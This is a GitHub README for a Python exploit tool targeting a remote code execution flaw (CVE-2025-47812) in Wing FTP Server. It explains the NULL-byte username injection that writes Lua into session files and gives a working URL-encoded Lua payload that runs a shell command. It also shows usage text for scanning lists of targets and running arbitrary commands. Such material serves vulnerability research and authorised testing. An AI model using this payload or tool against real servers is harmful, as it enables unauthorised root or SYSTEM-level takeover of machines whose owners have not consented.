4m3rr0r/cve-2025-47812-pocWing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)
Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)
📌 Credit: Vulnerability discovered by Julien (@MrTuxracer).
This PoC implementation is based on their original research.
This repository hosts a Python exploit for the Wing FTP Server Remote Code Execution (RCE) vulnerability (CVE-2025-47812). This critical flaw allows attackers to achieve remote code execution as root/SYSTEM on affected Wing FTP Server instances, even with anonymous access enabled.
This vulnerability originates from Wing FTP Server's improper handling of NULL bytes within the username parameter during the authentication process. This allows attackers to inject Lua code directly into session files. These malicious session files are then executed when a valid session is loaded, leading to arbitrary command execution on the server.
Key features of this exploit include:
This tool is intended strictly for educational and authorized penetration testing purposes. The author bears no responsibility for any misuse or damage caused by this software. Always ensure you have explicit, written permission before conducting any tests on a system.
This vulnerability was discovered and documented in detail by Julien (@MrTuxracer). See the original write-up:
What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
The CVE-2025-47812 vulnerability is a critical issue stemming from multiple weaknesses in how Wing FTP Server manages user authentication and sessions:
c_CheckUser(): The c_CheckUser() function, which is responsible for user authentication, internally uses strlen() on the provided username. When a NULL byte (%00) is injected into the username (e.g., anonymous%00...), strlen() truncates the string at this point. This means authentication succeeds for the portion of the username before the NULL byte, effectively bypassing proper validation.rawset(_SESSION, "username", username) call within loginok.html uses the entire, unsanitized username directly from the GET or POST parameters. This includes the NULL byte and any subsequent characters.anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--) results in this malicious code being written directly into the session file.SessionModule.load() function, invoked when any authenticated functionality (such as /dir.html) is accessed, directly executes the session file using loadfile(filepath) followed by f(). This crucial step triggers the injected Lua code, leading to Remote Code Execution.This vulnerability is particularly severe because Wing FTP Server often runs with root privileges on Linux or SYSTEM privileges on Windows by default. This default configuration grants attackers maximum control over the compromised system upon successful exploitation.
Affected Versions: Wing FTP Server versions prior to 7.4.4 are vulnerable.
This script supports various command-line arguments to tailor its functionality.
python3 CVE-2025-47812.py -h
usage: CVE-2025-47812.py.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
Exploit script for command injection via login.html.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., [http://192.168.134.130](http://192.168.134.130)). Required if -f not specified.
-f FILE, --file FILE File containing list of target URLs (one per line).
-c COMMAND, --command COMMAND
Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.
-v, --verbose Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.
-o OUTPUT, --output OUTPUT
File to save vulnerable URLs.
-U USERNAME, --username USERNAME
Username to use in the exploit payload. Default: anonymous
python3 CVE-2025-47812.py -u http://192.168.134.130 -c ipconfig
